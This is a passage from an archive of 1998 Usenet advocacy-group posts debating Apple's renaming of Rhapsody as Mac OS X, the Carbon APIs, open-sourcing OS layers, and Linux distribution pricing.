free products - if you want them to be there in the future you better
help them
out NOW. This goes for anyone providing you with a service for free
that
you'd feel a loss if they were gone. Or worse you'd have to pay good
money
to get an equivalent.. Everyone wants stuff for free but they don't
realize
the ramifications of using the 'hotmails' of the world (those at the
end of
their e-mail do!).. Someone pays eventually.
> RedHat also has a fair amount of mindshare in the Linux comunity.
> The Caldera bundle sells fewer copies than the InfoMagic package.
> At $100+ it doesn't seem to have a higher value to justify the
> higher price.
>
> I have been tempted to get it, just to see what's in there - but when
> it comes down to it, I simply don't have time to figure out what the
> incremental improvement in value is for Caldera over RedHat. It's
not
> so much that $100 is so much more than $50 - even if Caldera was $50,
> it probably wouldn't make a _lot_ of difference to my usage at this
> time.
>
> [I fully expect that to change in the future, as Caldera matures.]
I've not messed with Caldera so I don't know what I'm missing.
> It becomes clear that for Rhapsody to sell at $100, Apple has to
> make it clear that you get more than you get in that $30 RedHat
> package or it wont sell well to Linux users.
Thing is that Linux will always have source. I can't say that for
Rhapsody. For a long time I have encouraged NeXT and now Apple
to release the lower layers (if Adobe could cooperate and release
the DPS layer) as source.. It would get a lot of press and mindshare.
Not to mention a ton of developers working on the lower layers of
the OS.. Apple could sell their own version tweaked for PPC like
a Caldera or Redhat - with purchasable support, and purchasable
upper layers (various Objects, EOF, WO, Enterprise, YellowBox, etc.)
That way they could reap benefits from the free development crowd
at large and garner confidence that even if Apple dies enough of
the lower levels (especially if Adobe could cough up DPS) would be
around to recreate the Object classes..
I suspect the press alone on such a move would be worth the price
of development!! And I say it again. The time is now. In fact with
MS
antitrust stuff the time is perfect for a move like this. The amount
of
Apple/Adobe sympathy that would come out of such a move would
be tremendous!! And porting of the lower layers to other archs
would happen like mad!!
Apple then could simply recompile the upper layers on the ported
Mach/BSD layers and sell their products on top of the the lower layer.
The licensing might have to be a little different than GNU to allow
them to do this and for others to modify, copy, etc yet to allow
some companies to sell binary only stuff to sit on top, or around, etc.
Move the proprietary to the upper layers, open up the Mach/BSD/
(DPS if possible). I predict now that in 20 years (forever in the
computer
world) that free OS layers with source will be competing strongly if
not being the dominant force in the computer industry. If Apple were
smart they'd see this too and jump quickly while the competition
(Redhat,
Caldera, etc.) are still somewhat immature on the upper layers..
> I'd say that the "commercial" aspect will probably carry it to $100
> easily. For Linux, you tend to pay more for convenience - you can
put
> in some sweat equity and get it free, you can get it really cheap
with
> less work, less cheap with less work, and reasonably priced for very
> little work.
>
> Rhapsody will vaguely corrospond to that last price-point - but there
> won't be any higher-effort variations to pull the price down.
> Furthermore, I'm not sure why Rhapsody at $100 really competes with
> RedHat at $30 - if RedHat does all you care for, why would you get
> Rhapsody at _any_ price over $30? If RedHat just doesn't do
something
> you want that Rhapsody has, $100 is an emminently reasonable price to
> pay to get the functionality.
Agreed. There are reasons to set a value on each somewhat
independantly.
Anyone interested in Linux is interested for very different reasons
than they'd
be interested in Rhapsody. They might want to do similiar things, but
there
will always be different things that will give a different value to a
particular
customer. Also it's mosltly the low end consumer that cares if
something costs
$100 or $300.. Organizations that will buy 20-50 or whatever generally
don't
care.. When it's 10-50K then they think a little more.
> [Note that if Rhapsody comes out at $100, and you can develop for it
> for under $500, there will be some _very_ happy and amazed people out
> there. I'm not suggesting that I think it will be higher - I'm just
> suggesting that I'm not counting on it being lower,]
I agree that would be very cool. If one could get a WO lite bundled in
for
a developer under $500 that would be awsome!!
--
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: "Ken Schuller" <schullersite@NOworldnet.att.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Tue, 12 May 1998 13:56:02 -0500
Organization: AT&T WorldNet Services
Message-ID: <6ja5t0$ibd@bgtnsc03.worldnet.att.net>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <edewEsrCMo.Fzn@netcom.com> <6ja50v$3v4$1@interport.net>
float@interport.net wrote in message <6ja50v$3v4$1@interport.net>...
>Eric Dew (edew@netcom.com) wrote:
>
>: Didn't Gates attend Hahvahd? Maybe there's still some "honorary alumnus"
>: contribution thing going on?
>
>I don't believe he graduated.
>--
>
> Ben
>
><Just Another System Administrator>
Nope- dropped out in his second year.
Ken
Ken Schuller
Network Systems Specialist
NovaNET Learning, Inc.
========================
"In computing because it beats working for a living."
I speak for me.
Remove the obvious spam foil to reply via e-mail.
==========================================
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 11:41:47 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1205981141470001@news>
References: <ericb-1105981718430001@132.236.171.104> <6j8bmd$t6n@nntp02.primenet.com>
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In article <6j8bmd$t6n@nntp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> Don't I get credit for calling it in August of '97?
>
> ----- quote -----
>
> Subject: Next 100,000,000 times better than Linux?
> From: John Jensen <jjens@primenet.com>
> Date: 1997/08/23
Is anyone else scared that this guy keeps his postings from a year ago?
Andy Bates.
From: spagiola@usa.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 18:52:50 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ja5q1$lb8$1@nnrp1.dejanews.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <stevenj-ya02408000R1105982034070001@news.mit.edu> <355752ce.469474@198.0.0.100> <35586D65.6F87@yahoo.com>
Rob Szarek <raszarek@yahoo.com> wrote:
> From Steve Jobs "sliding" timeline chart, I saw in his presentation that
> his current "vision" for Rhapsody is Q3.99, for Release 1.0 for PPC
No. Rhapsody 1.0 will be Q3 _1998_ not 1999. Not a trivial difference.
Stefano Pagiola
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: WWDC according to New York Times
Date: 12 May 1998 19:00:10 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6lh71q.hb5.mbkennel@lyapunov.ucsd.edu>
References: <6j8umq$qvn@chile.earthlink.net> <B17DF331-34DA5F@141.214.128.36>
On Tue, 12 May 1998 16:34:14 GMT, Robert A. Decker <comrade@umich.edu> wrote:
:
: Did Markoff write that article?
Yes.
:He's got to be about the most incompetent computer journalist I've ever seen.
Or is it anti-Apple bias?
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 18:55:11 GMT
Organization: Idiom Communications
Message-ID: <6ja5uf$k4$2@news.idiom.com>
References: <ericb-1105981718430001@132.236.171.104> <6j8brs$l3$1@news.idiom.com>
<355870F1.958B696D@spamtoNull.com>
Mime-Version: 1.0
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Cc: Limeyville@spamtoNull.com
Jonathan Harker may or may not have said:
-> John C. Randolph wrote:
-> >
-> >
-> > Speaking as a NeXT hacker, I'm not worried about it.
->
-> As you won't see it for quite awhile, I wouldn't worry either. By that
-> time, it will be something else, anyway, so what's the point of worry?
I'm seeing it right now, sport. If you want to see it, register as a
developer. The OpenStep APIs are right there in Rhapsody, we've had no
indication that they're going away, and in the transition from OpenStep 4.2
to RDR 1, we picked up a bunch of new classes.
Like I said, I'm not worried about it. Apple can change the names to their
heart's content.
-jcr
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
Date: 12 May 1998 18:51:48 GMT
Organization: Idiom Communications
Message-ID: <6ja5o4$k4$1@news.idiom.com>
References: <6j9vr4$flq@nntp02.primenet.com>
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Cc: jjens@primenet.com
John Jensen may or may not have said:
-> As CEO of NeXT, Steve had a fiduciary responsibility to the shareholders
-> of that company. In that role he had a responsibility to sell NeXT to
-> Apple at the highest possible price when the opportunity presented itself.
->
-> As Interim CEO of Apple, Steve has a fiduciary responsibility to the
-> shareholders of Apple. In that role he has a responsibilty to choose the
-> best plan for OS development. It may be that he has decided to discard
-> Rhapsody as part of that plan.
Rhapsody didn't get discarded, it got renamed. It also got the Mac Toolbox
APIs added in as yet another framework. In effect, Apple decided that the
Latitude library was such a good idea, that they were going to make it a
supported part of Rhapsody.
Look at the announcements: Mac OS X will have a Mach kernal, it will have
the Blue Box (Which incidentally, is a Macintosh emulator that runs under
Rhapsody) it will also have the OpenStep Application Framework and Foundation
Framework. As for the rest of it, like the BSD 4.4 kernal code and the UNIX
command-line stuff, it's there, it's working, so why remove it?
I haven't seen any surprises at all in this move. Everyone who saw the Blue
Box told apple that what the world really needed was a way for the Mac apps
to run as full-blown Mach tasks in their own right, not in an emulator where
they could still clobber each other. They went ahead and did what they were
asked.
For my part, I intend to keep writing code with the OpenStep tools, since I
want the productivity gain. When I swtiched from Macintosh to NEXTSTEP seven
years ago, the big shock was how much code I didn't *have* to write.
-jcr
From: mbkennel@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X
Date: 12 May 1998 19:08:51 GMT
Organization: The Avant-Garde of the Now, Ltd.
Message-ID: <slrn6lh7i3.hb5.mbkennel@lyapunov.ucsd.edu>
References: <6j7roi$m57$1@nnrp1.dejanews.com> <35585EBF.8EA3C9C7@nstar.net>
On Tue, 12 May 1998 09:37:51 -0500, Michael Peck <mjpeck@nstar.net> wrote:
:My sources tell me that the main reason for this was that Jobs' fabled
:obsession with startup times. Apparently, Jobs realized that instead of
:requiring people to completely reboot after a change in many system
:settings (or even a server crash), an X-based OS could just restart the
:X server and move on. The idea is that MacOS X will have a "clean-boot"
:time of roughly 2 minutes, but most "reboots" will only require 3-4
:seconds.
:
:Steve apparently claimed in front of these sources that "we're saving
:the world thousands of hours".
A working X server wouldn't be bad (if it provided just as good output and
capabilities as DPS---i.e. it had DPS inside it as well as X) but the
ability to restart just the display server quickly can happen with DPS, too.
It's not a reason to change to X.
:MJP
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 19:06:26 GMT
Organization: Idiom Communications
Message-ID: <6ja6ji$k4$3@news.idiom.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com>
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Cc: mike.benedetti@no-spam.lmco.com
Michael Benedetti may or may not have said:
-> According to an account of Jobs' speech in the San Jose Mercury News,
-> Apples plan is to roll the best elements of Rhapsody into MacOS X
-> (multi-threading, protected memory etc).
That may be a nice way to describe it to the MacOS paranoid conservatives,
but the fact of the matter is that the kernal, filesystem, window system, and
driver code all come from Rhapsody. That's not "rolling elements in", that's
renaming an OS.
MacOS X is the same OS they were calling Rhapsody two days ago, and that's a
Good Thing. The MacOS is way past its prime.
-jcr
From: spagiola@usa.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 19:02:21 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6ja6bu$m3n$1@nnrp1.dejanews.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> But obviously, Apple isn't planning too terribly much for Rhapsody, is
> it? That's fairly obvious. This is just PR work by Jobs done in advance
> to stem (he hopes) the huge disappointment the released Rhapsody will
> be. By diverting attention to the NeXT Great Thing post Rhapsody, Jobs
> hopes to minimize the bad PR the company will get by the actual Rhapsody
> release later this year, which will be incomplete, buggy, and a let
> down.
Rhapsody buggy? Wherever did you get that idea? All available evidence from
public demos (and the admittedly cryptic comments of those under NDA) is that
on the contrary it will be one of the most robust OSs out there.
What this move is meant to forestall is not the disappointment of Rhapsody as
_technically_ weak (which it won't be) but the disappointment of Rhapsody as
app-deficient because of poor developer support (which it will be, despite the
heroic efforts of former OPENSTEP developers).
Stefano Pagiola
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 19:13:09 GMT
Organization: Idiom Communications
Message-ID: <6ja705$k4$4@news.idiom.com>
References: <ericb-1105981718430001@132.236.171.104> <slrn6lf0cs.ck3.mbkennel@lyapunov.ucsd.edu>
<macman-1105982047570001@tr33-d21.msen.net> <3558705D.978C32E@spamtoNull.com>
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Jonathan Harker may or may not have said:
-> Jobs has killed NeXT off. That's been so clear for so long. What will it
-> take to convince those who refuse to believe what they see and hear with
-> their own eyes?
Jobs didn't kill NeXT off, he turned it into the talent pool that got Apple's
shit together. The heads of both Software and Hardware development are from
NeXT. Rubinstein has made a serious dent in the previous morass of
motherboards and case designs, and Avie has done an outstanding job of
coddling the Lawsons of the Mac world, in the midst of making a modern,
Mach/BSD 4.4 OS work on the PPCs.
Next didn't die, it took over Apple in one of the trickiest bits of
organizational manuvering that I've ever seen.
-jcr
From: drcohen@ix.netcom.com (Dennis R. Cohen)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 12:18:20 -0700
Organization: Netcom
Message-ID: <drcohen-1205981218210001@sjc-ca6-09.ix.netcom.com>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net> <*johnnyc*-1205981218300001@rklein.psychology.dal.ca>
In article <*johnnyc*-1205981218300001@rklein.psychology.dal.ca>,
*johnnyc*@or.psychology.dal.ca (John Christie) wrote:
>In article <3557A1DE.17A6@earthlink.net>, skellener@earthlink.net wrote:
>
>> I think everybody is confusing things here. Here's what I see from the
>> outlined plan.
>>
>> The Blue Box = "Carbon". These are all the regular Mac API's that
>> everyone still uses. Carbon is not a new item, just a new name. Blue
>> Box was only a temp name.
>
> That isn't it.
> The Blue Box is there and works exactly the same as it always has.
> They Yellow Box is there and works too.
> However, if you have a Mac app, and don't want to entirely rewrite for
>Yellow Box, but you do want take advantage of the new features in the core
>of Rhapsody then you can make the baby step of porting to Carbon.
> We get everything we had before WWDC in terms of what Rhapsody was
>planned for (on G3 PPC anyway, what happened to X platform & older
>hardware?). But, in addition, current apps can be easily upgraded to work
>with the new OSes features.
> MacOS X = Rhapsody (BlueBox, Yellow Box) + most MacOS APIs native
>
> Does anyone really think jobs would entirely adandon OpenStep?
>Probably right after he resigns from Pixar.
> I think we will have the same powerful OS we thought we were going to
>get last week. However, now Adobe, MS, and Macromedia have committed to
>it.
> yay.
>
Well, I've read over 50 of the diatribes going through this thread and
noone yet has mentioned that Carbon bears an astonishing resemblence to
something that has been around a little while, CodeWarrior Latitude.
Latitude reimplements a significant percentage of the MacOS APIs for the
unix host environment (Rhapsody, OpenLook, IRIX, ...) so that you can take
your Mac application source code, recompile and relink after making the
minimal changes which were pointed out via the Metrowerks utility that
scanned your source and told you what calls were supported and which were
not. At the Metrowerks keynote today, they're showing the CodeWarrior IDE
(written in PowerPlant) running on Rhapsody DR2.
--
Dennis Cohen
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X
Date: 12 May 1998 19:16:50 GMT
Organization: Idiom Communications
Message-ID: <6ja772$k4$5@news.idiom.com>
References: <6j7roi$m57$1@nnrp1.dejanews.com> <35585EBF.8EA3C9C7@nstar.net>
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Way to go, Mike! Great troll!
I can't wait to see MacMotif! How about Mac OS Openlook?
-jcr
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 19:25:16 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ja7ms$dap@newsb.netnews.att.com>
References: <ericb-1105981718430001@132.236.171.104> <stevenj-ya02408000R1105982034070001@news.mit.edu> <355752ce.469474@198.0.0.100> <andyba-ya02408000R1205981058390001@news>
Originator: gupta@tlctest
> I used to listen to mac users say copland was going to ship.
Copland promised full binary compatibility with old MacOS
applications.
MacOS X is promising limited source code compatibility with
old MacOS applications. This certainly sounds more feasible
than Copland.
Probably the Blue Box ran so well on Mach that the question
arose -- what keeps this from being seamless, and buzz-word
compliant ? The answer to that resulted in Carbon. Carbon and
MacOS X seems to me like MacOS APIs hosted on the Mach kernel.
Now, Apple suddenly loses the problem of marketing a second OS :
MacOS X is the old Rhapsody, repackaged; all the Nextisms and
UNIXisms completely hidden, perhaps absent; but these can be
added back anytime.
-arun gupta
From: jayfar@netaxs.com (Jayfar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
Date: Tue, 12 May 1998 15:46:15 -0400
Organization: Jayfar's Original Virtual Macintosh
Message-ID: <jayfar-1205981546160001@downtown1-14.slip.netaxs.com>
References: <6j9vr4$flq@nntp02.primenet.com>
Mail-Copies-To: jayfar@netaxs.com
In article <6j9vr4$flq@nntp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
[snip]
| As Interim CEO of Apple, Steve has a fiduciary responsibility to the
| shareholders of Apple.
BTW, that brings up an interesting, but irrelevant point of law. Were
Apple incorporated in the state of Pennsylvania, his fiduciary
responsibility would be not only to stockholders, but to other
stakeholders, including employees, customers, and the community at-large.
This came up locally in discussions of a recent mega-bank merger here.
Cheers,
Jayfar
--
Jay Farrell Jayfar's Original Virtual Macintosh
jayfar@netaxs.com * Your Favorite Mac Site * Now Updated Daily *
Philadelphia, USA <URL:http://www.netaxs.com/~jayfar/live.desk.html>
Jayfar's APPLE DOOMSDAY CLOCK <URL:http://www.netaxs.com/~jayfar/>
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Comments on MOSR MacOS X summary
Date: 12 May 1998 19:24:36 GMT
Organization: Idiom Communications
Message-ID: <6ja7lk$k4$6@news.idiom.com>
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-> Above and beyond the advanced capabilities already know (Preemptive,
-> Protected, Advanced VM, Ultrafast I/O), Mac OS X will also dynamically
-> allocate RAM and other system resources, instead of the fixed methods used
-> by the existing Mac OS.
That comes right out of running under Mach. No surprise.
-> Carbon-compatible applications will still be able to run on Mac OS 8,
-> thanks to a few compatibility libs that Apple plans to release for that
-> OS. Of course, under OS 8, they won't be able to take advantage of Mac OS
-> X's advanced capabilities.
With or without a re-compile or a re-link? This isn't a big surprise, since
Carbon isn't anything new, it's just the existing MacOS API without some of
the cruft that depends on running under a half-assed 1984-vintage OS.
-> Apple expects the transition from OS8 and Rhapsody to Carbon to be similar
-> to that of the 68k-to-PowerPC transition, in terms of effort expended on
-> the part of developers.
I'd compare it more to the trouble the Mac world went through when they had
to make all the apps "32-bit clean."
->One of the clearest indications that Mac OS X is actually
-> Rhapsody with an extremely advanced Blue Box-like environment supporting
-> Carbon: some applications that directly access hardware will need to be
-> rewritten to access it through the proper drivers.
Now, there's a giveaway.
-> All control panels in Mac OS X are actually applications.
This seems a bit wasteful. I'd rather see them implemented as bundles for
Configure.app, Preferences.app, or the Workspace.app. Of course, if Apple
provides a sample NSControlPanelApplication class, it might not matter.
-jcr
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 12 May 1998 19:39:32 GMT
Organization: Idiom Communications
Message-ID: <6ja8hk$k4$7@news.idiom.com>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26>
<MPG.fc18109c8dbd1a19896ae@news.supernews.com> <3557DB45.6EC9184A@trilithon.com>
<35585C2E.E5A786CB@nstar.net>
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Michael Peck may or may not have said:
-> Henry McGilton wrote:
->
-> > Ever tried developing for "Industry Standard Unix"? The you'll
-> > really know what multiple code bases are all about.
->
-> I don't think so. Mozilla, for instance, isn't *that* hard to port...
->
-> The guy they brought in for the Mozilla event ported it to Linux in a
-> number of hours.
What's to port? Linux runs Slowlaris binaries!
-jcr
From: forrestDELETE-THIS!@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: OSX - What I See vs What I Want
Date: Tue, 12 May 1998 13:02:38 -0700
Organization: "The Company" (Formerly Known As Obsidian)
Message-ID: <forrestDELETE-THIS!-1205981303210001@term4-3.vta.west.net>
NNTP-Posting-Date: 12 May 1998 19:58:58 GMT
Ok, from what I've read on various web pages and posts in this group,
MacOS X seems to be very close to what I want in an OS. Updated Mac UI,
always good. Backwards compatible, good. Easy porting to "new"
architecture, good. "New" apps run on old Systems sans new features, good.
Buzzword compliant, excellent.
But, what about a state-of-the-art development environment, and
cross-platform compatility? I see what may be a pretty easy soloution to
these two problems.
For the first, assuming OSX's buzzword-compliance is achieved via the Mach
kernel, it should be a very simple matter to include the Yellow Box APIs
in Carbon, correct? So, allow older apps to run sans buzzwords, make it
easy to add buzzword-compliance to current apps, and encourage future apps
to use the advanced API set.
For the second, rumor has it that much of the MacOS has already been
ported to the Intel architecture, in the form of Star Trek and QuickTime.
Could this not also be modified into Carbon, then plopped on top of Mach,
along with Yellow Box, and allow a simple recompile for anything using
Carbon+YB, to OSX/PPC, OSX/Intel, or Win9x/NT? And if/when Merced becomes
popular, port to that too.
As a side note, they should drop the "Mac" from the name and simple call
it "OSX for PowerPC", "OSX for x86" (what's the official name for the
Intel-based architecture [Pentium, AMD, Cyrix, etc], anyway?), "OSX for
Windows", etc. And then have "Lite" (pure YB, for NCs/PDAs/etc) and "Pro"
(plus BSD & dev/server tools) versions as well.
-Forrest Cameranesi
Owner of The Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to change. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember:
"We know what you want. We know what you need. We know where you live."
From: wilkie@cg.tuwien.ac.at (Alexander Wilkie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 19:40:54 GMT
Organization: Vienna University of Technology, Austria
Message-ID: <6ja8k6$25t$1@news.tuwien.ac.at>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<35586F01.243A7BE3@spamtoNull.com> <3558726E.E5C7C92D@no-spam.lmco.com>
<6ja6ji$k4$3@news.idiom.com>
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In <6ja6ji$k4$3@news.idiom.com> John C. Randolph wrote:
> That may be a nice way to describe it to the MacOS paranoid conservatives,
> but the fact of the matter is that the kernal, filesystem, window system,
and
> driver code all come from Rhapsody. That's not "rolling elements in",
that's
> renaming an OS. MacOS X is the same OS they were calling Rhapsody two days
ago
I sure hope you are right...
As someone has remarked in this group, from a technical viewpoint the Logical
Thing (TM) would be something like ConventionalMacOS.framework living on an
otherwise unaltered, but re-named Rhapsody that still is cross-platform. Byte
ordering issues aside, what should prevent one from compiling McX Carbon
Photoshop 5 on "Rhapsody/Intel"?.
However, IMO there is always the (hopefully small) chance[0] that the
Openstep part of McX will be actively broken, crippled and/or phased out due
to some political tinkerings (e.g. the big players in the MacOS software
arena convincing Apple that they neither need nor want the possibilities of
Openstep, partly because it makes them susceptible to attack by newcomers in
the field). It would not be the first pinheaded move that Apple has pulled,
but I guess it would be one of their last major ones. Ugly plastic casings
for lowrange computers don't last all the way to the next millenium...
$0.2E-32
Alexander Wilkie
[0] And as long as Apple does not make any clear announcements, the rumour
mill
will just get faster and faster. Apple has a track record of not making
"obvious" decisions.
--
e-mail: wilkie@cg.tuwien.ac.at (NeXTMail preferred, MIME o.k.)
www : http://www.cg.tuwien.ac.at/staff/AlexanderWilkie.html
pgp : finger wilkie@www.cg.tuwien.ac.at
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 12:31:34 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1205981231340001@news>
References: <ericb-1105981718430001@132.236.171.104> <slrn6lf0cs.ck3.mbkennel@lyapunov.ucsd.edu> <6j80h0$inc$1@murdoch.acc.Virginia.EDU> <6j8khh$q2s$2@gaia.ns.utk.edu> <MPG.fc20f005a4fbf5e9896b3@news.supernews.com>
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In article <MPG.fc20f005a4fbf5e9896b3@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
> > And protestations to
> > the contrary, I don't find it hard to believe people might be concerned
> > Apple would kill a product it has previously been swearing up and down it
> > would release.
>
> You mean like CHRP? Newton? Open Transport 1.5?
Uh, Newton WAS released.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 12:28:55 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R1205981228550001@news>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <stevenj-ya02408000R1105982034070001@news.mit.edu> <6j9iob$ga2$1@larry.admin.phil.uu.nl>
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In article <6j9iob$ga2$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl (Freek
Wiedijk) wrote:
> You shouldn't forget that if you don't pour all your energy in one thing
> (Rhapsody), but instead focus lots of energy on something else (MacOS X),
> that first thing is going to lose momentum.
Except that MacOS X IS Rhapsody, so it will still be gaining momentum. It's
just been renamed, and new APIs added.
> Currently Apple is working
> on _three_ systems (traditional MacOS, Rhapsody, MacOS X). They really
> should choose.
They are. They are choosing MacOS X, which combines MacOS, Rhapsody and Carbon.
So what's the problem?
Andy Bates.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 19:45:24 GMT
Organization: I don't think so
Message-ID: <slrn6lgobq.aj.jason@jhste1.dyn.ml.org>
References: <ericb-1105981718430001@132.236.171.104> <6j8bmd$t6n@nntp02.primenet.com> <andyba-ya02408000R1205981141470001@news>
Andy Bates wrote:
>> Don't I get credit for calling it in August of '97?
>>
>> ----- quote -----
>>
>> Subject: Next 100,000,000 times better than Linux?
>> From: John Jensen <jjens@primenet.com>
>> Date: 1997/08/23
>Is anyone else scared that this guy keeps his postings from a year ago?
It's called DejaNews. Try it sometime.
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
From: "William V. Campbell Jr." <wcampbe1@san.rr.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
nntp://news-server/comp.sys.next.advocacy
References: <6ja5o4$k4$1@news.idiom.com>
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Date: Tue, 12 May 1998 20:11:15 GMT
NNTP-Posting-Date: Tue, 12 May 1998 13:11:15 PDT
Organization: TWC Road Runner, San Diego, CA
John Jensen may or may not have said:
-> As CEO of NeXT, Steve had a fiduciary responsibility to the shareholders
-> of that company. In that role he had a responsibility to sell NeXT to
-> Apple at the highest possible price when the opportunity presented
itself.
->
-> As Interim CEO of Apple, Steve has a fiduciary responsibility to the
-> shareholders of Apple. In that role he has a responsibilty to choose
the
-> best plan for OS development. It may be that he has decided to discard
-> Rhapsody as part of that plan.
Rhapsody didn't get discarded, it got renamed. It also got the Mac Toolbox
APIs added in as yet another framework. In effect, Apple decided that the
Latitude library was such a good idea, that they were going to make it a
supported part of Rhapsody.
Look at the announcements: Mac OS X will have a Mach kernal, it will have
